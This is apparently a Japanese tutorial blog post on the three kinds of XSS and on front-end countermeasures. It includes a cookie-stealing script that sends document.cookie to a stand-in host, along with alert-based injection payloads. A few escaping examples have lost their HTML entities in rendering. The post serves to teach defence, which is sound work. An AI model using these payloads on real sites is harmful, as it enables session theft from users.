XSSってなに?どうすればいいの?
はじめに
フロントエンドのセキュリティに関する知識を深めたかったため、IPAのウェブサイトの脆弱性に関する届出の中で2023年に最も割合が高かったXSS(クロスサイト・スクリプティング)についてまとめてみました。
XSS(クロスサイト・スクリプティング)とは
Webアプリケーション内の脆弱性を利用し、悪意のあるスクリプトを埋め込む攻撃です。JavaScriptを利用して攻撃することも多いため、フロントエンドでもしっかり対策する必要がありますね。
XSSの種類
具体的にどのような攻撃手法があるのでしょうか。XSSは主に以下の3つの手法に分けられます。
- 蓄積型XSS(Stored XSS)
- 反射型XSS(Reflected XSS)
- DOMベース型XSS(DOM-based XSS)
蓄積型XSS(Stored XSS)
フォームなどから投稿された悪意あるスクリプトを含むデータがサーバ上に保存され、他のユーザーがWebサイトを閲覧した時に、ユーザーのブラウザ上で不正なスクリプトが実行される攻撃手法のことです。実際の流れを、とある投稿サービスを例に見ていきましょう。
- 悪意あるユーザーが不正なコードを含むコメントを投稿
- 不正なコードを含むデータがサーバに保存される
- 他のユーザーが投稿一覧取得のリクエストを投げる
- クライアントはサーバから不正なデータが含まれるリソースを取得
- 他のユーザーは悪意あるユーザーが投稿した不正なコードを含むリソースを閲覧
例えば、次のようなコードが埋め込まれていた場合、Cookieの情報が盗まれてしまいます。
<script>
document.location.href='http://hoge.com/getCookie?cookie=' + document.cookie;
</script>
反射型XSS(Reflected XSS)
悪意あるスクリプトが含まれたリンクをユーザーがクリックし、不正なスクリプトを実行させてしまう攻撃手法のことです。
例えばECサイトで、キーワード検索の検索ワードがURLのクエリ文字列として含まれている場合を見てみましょう。
https://shopping.example/search?keyword=キャットフード
ユーザーはキャットフード
について検索し、上記のURLにアクセスし検索結果を表示します。
このようにリクエストに含まれる文字列をそのまま埋め込むことができるようになると、
https://shopping.example/search?keyword=<script>alert("Hello, world")</script>
などのようにスクリプトを含めることができ、アクセスしたユーザーの検索結果画面でスクリプトが実行されてしまいます。
DOMベース型XSS(DOM-based XSS)
JavaScriptを用いたDOM操作に原因があったときに発生します。サーバを経由せず、クライアント側の処理が原因で発生します。
DOMはスクリプトを用いて内容を変更することができます。攻撃者によって悪意あるスクリプトを埋め込まれる可能性がある箇所のことをソース
といい、JavaScriptを生成・実行しXSSが発生する原因の箇所のことをシンク
と呼びます。ソースとシンクの機能の例をそれぞれ以下に示します。
- ソース
location.href
location.search
location.hash
document.referrer
document.cookie
postMessage
Webストレージ(localStorageやsessionStorage) - シンク
innerHTML
document.write
eval
setTimeout
setInterval
それでは、DOMベース型XSSの具体的な例を見てみましょう。
トップページにユーザー名を表示したいアプリケーションがあるとします。極端な例ですが、そのトップページのURLには、以下のようにユーザー名がクエリ文字列として含まれているとします。
http:/example.com/index.html?name=taro
次のコードは、このURLからユーザー名を取り出し、それをHTMLに直接挿入する処理を行います。
const searchParams = new URLSearchParams(window.location.search);
const userName = decodeURIComponent(searchParams.get("name"));
document.getElementById("name").innerHTML = userName;
この処理を行うことにより、div要素へユーザー名が挿入されます。
<div id="name">taro</div>
もし攻撃者が次のようなURLを作成していたら、どうなるでしょうか。
http:/example.com/index.html?name=<img src=xxx onerror=alert("気をつけて")/>
div要素の中にimg要素が入り、onerror属性に指定されていたalert("気をつけて")
が実行されてしまいます。
<div id="name">
<img src=xxx onerror=alert("気をつけて")/>
</div>
対策
これまで紹介してきた攻撃に対し、どのような対策をすれば良いのかを見ていきましょう。
文字列にエスケープ処理をしよう
特別な意味を持つ文字を無効化(エスケープ処理)し、HTMLとして解釈できないようにしましょう。
例えば、<
や>
をそれぞれ<
と>
に変換する処理を行うと、<script>
は<script>
になります。ブラウザはエスケープ処理後の文字列を特別に扱い、画面上には処理前の<script>
を表示しますが、<script>
はHTMLとして解釈されません。
フロントエンドのフレームワーク/ライブラリであるReact、Vue.js、Angularなどは内部で自動的にエスケープ処理を行なってくれます。
CookieにHttpOnly属性を付与しよう
サーバーサイドでCookieを発行するときにHttpOnly属性を付与すると、JavaScriptからCookieの値を取得することができなくなり、XSSによるCookieの漏えいリスクが低くなります。
属性値の文字列を引用符で囲もう
例えば、URLに含まれるクエリ文字列を属性値へ反映する場合を考えてみましょう。
https://shopping.example/search?keyword=キャットフード
value属性に、キャットフード
が値として入ります。
<input type="text" value=キャットフード>
キャットフード
の代わりに悪意あるスクリプトがクエリ文字列に含まれている場合、引用符で囲まないとスクリプトが実行されてしまいます。
https://shopping.example/search?keyword=x onclick=alert("攻撃中")
↓
// テキストにマウスオーバーすると「攻撃中」というアラートが表示される
<input type="text" value=x onmouseover=alert("攻撃中")>
これを防ぐために、属性値を""
で囲ってあげましょう。この時、"
を"
へエスケープ処理することも忘れずに行いましょう。
https://shopping.example/search?keyword=" onclick=alert'("攻撃中")'
例えば上のURLのように、" onclick=alert'("攻撃中")'
の先頭の"
でvalue属性の値を""
として閉じようとしてくる場合、URLに含まれる"
を"
へエスケープ処理することによって
↓
<input type="text" value="" onmouseover=alert("攻撃中")">
となり、攻撃者はvalueを閉じることができなくなります。
おわりに
ここで紹介した対策は一部に過ぎません。他にも工夫できる点はいくつかあります。
セキュリティの知識を身につけ、安全なアプリケーションを作りましょう!
(補足)ReactとXSS
自分が普段使用するReactに、XSSの脆弱性がないか気になって調べてみました。
dangerouslySetInnerHTML
外部から取得したHTMLを表示したいときに、dangerouslySetInnerHTML
を使用するケースがあると思います。もしHTML文字列に悪意あるスクリプトが埋め込まれていたら、それが実行されてしまうかもしれません。使わないに越したことはありませんが、どうしても使用しなければならない場合はエスケープ処理を行いましょう。
Discussion